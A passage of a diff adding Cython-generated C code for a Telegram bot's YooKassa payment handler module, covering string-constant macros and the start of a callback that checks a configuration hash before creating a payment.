__pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_u_capture __pyx_mstate_global->__pyx_n_u_capture +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_choosing_amount_yookassa __pyx_mstate_global->__pyx_n_s_choosing_amount_yookassa +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_u_confirmation __pyx_mstate_global->__pyx_n_u_confirmation +#define __pyx_n_u_confirmation_url __pyx_mstate_global->__pyx_n_u_confirmation_url +#define __pyx_n_s_create __pyx_mstate_global->__pyx_n_s_create +#define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency +#define __pyx_n_u_customer __pyx_mstate_global->__pyx_n_u_customer +#define __pyx_n_s_customer_email __pyx_mstate_global->__pyx_n_s_customer_email +#define __pyx_n_s_customer_id __pyx_mstate_global->__pyx_n_s_customer_id +#define __pyx_n_s_customer_name __pyx_mstate_global->__pyx_n_s_customer_name +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_u_description __pyx_mstate_global->__pyx_n_u_description +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_n_u_email __pyx_mstate_global->__pyx_n_u_email +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_yookassa __pyx_mstate_global->__pyx_n_u_enter_custom_amount_yookassa +#define __pyx_n_s_entering_custom_amount_yookassa __pyx_mstate_global->__pyx_n_s_entering_custom_amount_yookassa +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_event __pyx_mstate_global->__pyx_n_s_event +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_n_s_find_one __pyx_mstate_global->__pyx_n_s_find_one +#define __pyx_n_s_from_user __pyx_mstate_global->__pyx_n_s_from_user +#define __pyx_n_s_full_name __pyx_mstate_global->__pyx_n_s_full_name +#define __pyx_n_u_full_name __pyx_mstate_global->__pyx_n_u_full_name +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_payments_yookassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_yookassa_pay +#define __pyx_kp_s_handlers_payments_yookassa_pay_p __pyx_mstate_global->__pyx_kp_s_handlers_payments_yookassa_pay_p +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_kp_u_https_pocomacho_ru_success_html __pyx_mstate_global->__pyx_kp_u_https_pocomacho_ru_success_html +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_u_id __pyx_mstate_global->__pyx_n_u_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_u_items __pyx_mstate_global->__pyx_n_u_items +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_metadata __pyx_mstate_global->__pyx_n_s_metadata +#define __pyx_n_u_metadata __pyx_mstate_global->__pyx_n_u_metadata +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_u_object __pyx_mstate_global->__pyx_n_u_object +#define __pyx_n_s_paid __pyx_mstate_global->__pyx_n_s_paid +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_yookassa __pyx_mstate_global->__pyx_n_u_pay_yookassa +#define __pyx_n_s_payment __pyx_mstate_global->__pyx_n_s_payment +#define __pyx_n_s_payment_id __pyx_mstate_global->__pyx_n_s_payment_id +#define __pyx_n_s_payment_object __pyx_mstate_global->__pyx_n_s_payment_object +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_u_pending __pyx_mstate_global->__pyx_n_u_pending +#define __pyx_n_u_phone __pyx_mstate_global->__pyx_n_u_phone +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_yookassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_yookassa +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_u_quantity __pyx_mstate_global->__pyx_n_u_quantity +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_u_receipt __pyx_mstate_global->__pyx_n_u_receipt +#define __pyx_n_u_redirect __pyx_mstate_global->__pyx_n_u_redirect +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_u_return_url __pyx_mstate_global->__pyx_n_u_return_url +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_secret_key __pyx_mstate_global->__pyx_n_s_secret_key +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_kp_u_solo_net __pyx_mstate_global->__pyx_kp_u_solo_net +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_u_succeeded __pyx_mstate_global->__pyx_n_u_succeeded +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_u_type __pyx_mstate_global->__pyx_n_u_type +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_n_u_user_id __pyx_mstate_global->__pyx_n_u_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_user_id_str __pyx_mstate_global->__pyx_n_s_user_id_str +#define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid +#define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 +#define __pyx_n_u_value __pyx_mstate_global->__pyx_n_u_value +#define __pyx_n_u_vat_code __pyx_mstate_global->__pyx_n_u_vat_code +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_warning __pyx_mstate_global->__pyx_n_s_warning +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_n_u_yookassa __pyx_mstate_global->__pyx_n_u_yookassa +#define __pyx_n_s_yookassa_2 __pyx_mstate_global->__pyx_n_s_yookassa_2 +#define __pyx_n_u_yookassa_2 __pyx_mstate_global->__pyx_n_u_yookassa_2 +#define __pyx_kp_u_yookassa_amount __pyx_mstate_global->__pyx_kp_u_yookassa_amount +#define __pyx_n_s_yookassa_webhook __pyx_mstate_global->__pyx_n_s_yookassa_webhook +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 +#define __pyx_tuple__19 __pyx_mstate_global->__pyx_tuple__19 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__13 __pyx_mstate_global->__pyx_codeobj__13 +#define __pyx_codeobj__16 __pyx_mstate_global->__pyx_codeobj__16 +#define __pyx_codeobj__20 __pyx_mstate_global->__pyx_codeobj__20 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa = {"process_callback_pay_yookassa", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yookassa (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 43, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 43, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 1); __PYX_ERR(0, 43, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 43, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 2); __PYX_ERR(0, 43, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yookassa") < 0)) __PYX_ERR(0, 43, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 43, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_callback_pay_yookassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_yookassa", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 43, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_callback_pay_yookassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + Py_ssize_t __pyx_t_6; + PyObject *(*__pyx_t_7)(PyObject *); + Py_ssize_t __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yookassa", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L15_resume_from_await; + case 6: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 43, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":48 + * ): + * + * expected_hash = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + */ + __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); + __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; + + /* "handlers/payments/yookassa_pay.py":49 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yookassa_pay.py":50 + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_YOOKASSA_HASH_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":51 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":52 + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 52, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":51 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); 